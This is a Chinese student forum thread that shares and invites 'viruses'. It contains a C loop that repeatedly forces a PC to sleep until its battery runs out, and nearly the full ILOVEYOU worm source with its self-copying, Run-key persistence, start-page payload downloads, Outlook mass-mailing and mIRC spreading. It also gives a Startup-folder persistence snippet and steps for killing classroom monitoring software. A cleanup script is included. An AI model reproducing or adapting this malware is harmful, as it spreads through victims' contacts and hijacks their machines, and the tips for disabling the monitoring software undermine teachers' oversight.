问题标题: 病毒讨论室

对了，给大家分享一个病毒（我自创的）

while(true){
        		HANDLE hToken;
 				TOKEN_PRIVILEGES tkp;    
 				if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))return 0; 
 				LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
				tkp.PrivilegeCount=1;
 				tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
 				AdjustTokenPrivileges(hToken,FALSE,&tkp,0,NULL,0);
 				SetSystemPowerState(false,false);
  			}

功能如下：

结束休眠后再休眠，直到没电（我希望中病毒的人都不会强制关机）

对了，如果要代码，加我QQ：3088515022

PS：

如果你们也有编写的c++/c语言/vbs病毒，欢迎在下方讨论！

格式：

代码+如何获取次代码（复制代码）+破解方法（没有请说明，谢谢）

还有，此贴永不关闭，楼主对大家的每一条回答表示感谢！

包涵宇在2021-02-24 17:07:20追加了内容

更新了！！！

看大家都挺喜欢vbs的，那楼主也给个程序：

Rem ======================================================================= Rem 本文件为病毒样本，供学习之用，原文件中扫描文件进行感染部分被我注释掉了 Rem 请勿将本文件用作破坏之目的。 white (wwwasp@yeah.net) hd(hd@email.com.cn) Rem ======================================================================= On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") '上面三句将自身复制成三个文件 regruns() '如果系统为win98，设IE的起始页为四个URL之一，以下载一个叫WIN-BUGSFIX.exe 的文件， '并将其设为系统启动时自动执行的程序，看起来好象是一个补丁程序 html() '为OUTLOOK用户生成一个含病毒代码的HTML文件LOVE-LETTER-FOR-YOU.HTM， '该HTML文件里包含一段JAVASCRIPT，打开时脚本被执行，病毒体被写入文件MSKernel32.vbs, 同时被设成 '系统启动时自动执行 spreadtoemail() '为OUTLOOK里的所有联系人发一封包含上面那个文件的邮件 listadriv() '扫描整个磁盘，将后缀为.vbs, ..vbe的文件换成自身，将后缀为 .js, .jse, .css, .wsh, .sct, .hta, '的文件改后缀为vbs并写入自身，同时删除原有文件，将后缀为.jpg,.jpeg的在文件名后 加.vbs后，写入 '自身，将后缀为.mp3,mp2的文件名后加.vbs并写入自身，同时将文件属性改为隐藏文件， '如果发现有mIRC,将改写script.ini，使得mIRC向所有频道里的人发送刚才的html文件。
end sub sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirs ystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL ",dirwin&"\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory") if (downread="") then downread="c:\" end if if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMT FwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDG FikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5h fFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwt uHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN- BUGSFIX.exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",dow nread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main\StartPage","about:blan k" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"\") end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif (ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif (ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif (ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf 'infectfiles(f1.path) Rem =============================================================== Rem 注意，上面这行被注释掉了，请千万不要玩火，否则您的文件将找不回来 Rem ================================================================ folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><METANAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-# main#-#)@-@ "&vbcrlf& _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-# main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE&g t;"&vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _ "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ "<!--?-??-?"&vbcrlf& _ "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>"&vbcrlf& _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ "<!--"&vbcrlf& _ "on error resume next"&vbcrlf& _ "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ "aw=1"&vbcrlf& _ "code=" dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ "wri.write code4"&vbcrlf& _ "wri.close"&vbcrlf& _ "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ "if (err.number=424) then"&vbcrlf& _ "aw=0"&vbcrlf& _ "end if"&vbcrlf& _ "if (aw=1) then"&vbcrlf& _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ "window.close"&vbcrlf& _ "end if"&vbcrlf& _ "end if"&vbcrlf& _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MS Kernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _ "?-??-?-->"&vbcrlf& _ "<?-?SCRIPT>" dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") set fso=CreateObject("Scripting.FileSystemObject") set c=fso.OpenTextFile(WScript.ScriptFullName,1) lines=Split(c.ReadAll,vbcrlf) l1=ubound(lines) for n=0 to ubound(lines) lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) if (l1=n) then lines(n)=chr(34)+lines(n)+chr(34) else lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" end if next set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.close set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) d.write dt5 d.write join(lines,vbcrlf) d.write vbcrlf d.write dt6 d.close end sub 

这就是爱虫病毒了！！！
（最狠的部分被我注释了）

相信大家都知道，爱虫只有重启后才会生效，所以，如果不小心点到了，不要慌，我们有这个：

爱虫破解程序！！！（重启后就没有了！！！慎重！！！）

rem I love You virus 清除程序 On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow dim logfile eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") Set logfile = fso.OpenTextFile(".\clean-up.log",8,True) logfile.WriteLine now main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") Wscript.echo Wscript.echo "Running clean up script. There will be several messages along the way." Wscript.echo "You will get a 'Clean up done.' message when it is finished." Wscript.echo rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Wscript.echo "delete files that might have been created . . ." logfile.WriteLine "delete files that might have been created . . ." Set c = fso.GetFile(dirsystem&"\MSKernel32.vbs") c.Delete True Set c = GetFile(dirwin&"\Win32DLL.vbs") c.Delete True Set c = GetFile(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") c.Delete True Wscript.echo "clean up run-at-boot and IE start page registry entries . .. ." logfile.WriteLine "clean up run-at-boot and IE start page registry entries . . ." regruns() Wscript.echo "delete html file(s) that might have been created . . ." logfile.WriteLine "delete html file(s) that might have been created . . .." html() Wscript.echo "clean up e-mail related registry entries . . ." logfile.WriteLine "clean up e-mail related registry entries . . ." spreadtoemail() Wscript.echo "rescan same drive and folder list as original virus to detect infected files . . ." logfile.WriteLine "rescan same drive and folder list as original virus to detect infected files . . ." listadriv() Wscript.echo "Clean up done." logfile.WriteLine "Clean up done." end sub sub regruns() On Error Resume Next Dim num,downread regdelete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32" regdelete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL " downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory") regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://intraweb" regdelete "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX" end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then Wscript.echo " scanning drive " & d.path logfile.WriteLine " scanning drive " & d.path folderlist(d.path&"\") end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 dim line, ret set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,1) line = ap.ReadLine ap.close If Left(line,27) = "rem barok -loveletter(vbe)" Then set cop=fso.GetFile(f1.path) cop.Copy(f1.path&".infected") cop.Delete true Wscript.echo "moved "&f1.path&" to " & f1.path & ".infected" logfile.WriteLine "moved " & f1.path & " to " & f1.path & ".infected" End If elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,1) line = ap.ReadLine ap.close If Left(line,27) = "rem barok -loveletter(vbe)" Then set cop=fso.GetFile(f1.path) cop.Copy(f1.path&".infected") cop.Delete True Wscript.echo "moved " & f1.path & " to " & f1.path & ".infected" logfile.WriteLine "moved " & f1.path & " to " & f1.path & ".infected" End If elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,1) line = ap.ReadLine ap.close If Left(line,27) = "rem barok -loveletter(vbe)" Then set cop=fso.GetFile(f1.path) cop.Copy(f1.path&".infected") cop.Delete True Wscript.echo "moved",f1.path,"to",f1.path&".infected" End If elseif(ext="mp3") or (ext="mp2") then set ap=fso.OpenTextFile(f1.path,1) line = ap.ReadLine If Left(line,27) = "rem barok -loveletter(vbe)" Then set cop=fso.GetFile(f1.path) cop.Copy(f1.path&".infected") cop.Delete Wscript.echo "moved",f1.path,"to",f1.path&".infected" End If ap.close end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set ap=fso.OpenTextFile(folderspec&"\script.ini") line = ap.ReadLine If Left(line,27) = "rem barok -loveletter(vbe)" Then set cop=fso.GetFile(f1.path) cop.Copy(f1.path&".infected") cop.Delete Wscript.echo "moved "&folderspec&"\script.ini to",folderspec&"\script.ini"&".infected" End If ap.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf,tf If Len(folderspec) > 55 Then tf = "..." & Right(folderspec,55) Else tf = folderspec End If Wscript.echo " scanning folder " & tf logfile.WriteLine " scanning folder " & tf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regdelete(regkey) Set regedit = CreateObject("WScript.Shell") regedit.RegDelete regkey end sub sub regwrite(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regdelete "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if regdelete "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a next Set out=Nothing Set mapi=Nothing end sub sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 set fso=CreateObject("Scripting.FileSystemObject") set b=fso.GetFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") b.delete end sub   

(都是网上查的，呵呵）

还是那句话：要带码加QQ：3088515022

如果大家有设么想看的，就回答，我尽量会满足大家的！！！

包涵宇在2021-03-10 20:47:56追加了内容

感谢大家的投稿，特别是@张帆 ，我将他的代码改了一下，大约是这个模样：

#include <windows.h>
#include <stdio.h>
void main(int argc,char * argv[]){
	char copy[80];
	sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单bai\\程序du\\启动\"",argv[0]);
	system(copy); 
}

将函数名改一下，用在一个c++程序中，就可以将这个程序设为开机启动了！！！

对了，欢迎大家继续回答！

包涵宇在2021-03-17 18:45:27追加了内容

相信大家的很讨厌学校信息课的广播吧！今天，我就给大家介绍一下脱离老师管理的办法！

1.全屏广播时，点击左上角的第一个按钮，选择平移，再点击第2个按钮即可！（不推荐，必须等老师屏幕广播才可脱离老师管理）

2.使用任务管理器（推荐，十分方便）

（1）右击最下面的一行，选择任务管理器

（2）找到和这个很像的一页

（3）找到 student main，左击，然后点结束进程，就能逃脱老师的管理啦！

3.改权限（不推荐，理论上重启就能恢复，但不敢保证）

（1）找到极域电子教室，右击，选择打开文件所在位置

（2）右击，选择属性，然后点权限，全部调为禁止

————————————————————————

这些技巧大家都知道了吗？欢迎大家继续回答！！！

包涵宇在2021-04-22 20:39:14追加了内容

更新一下:

由于漏洞被修复了，脱离老师管理的第一种办法已失效！！！

对了，如果大家还有问题，欢迎来回答！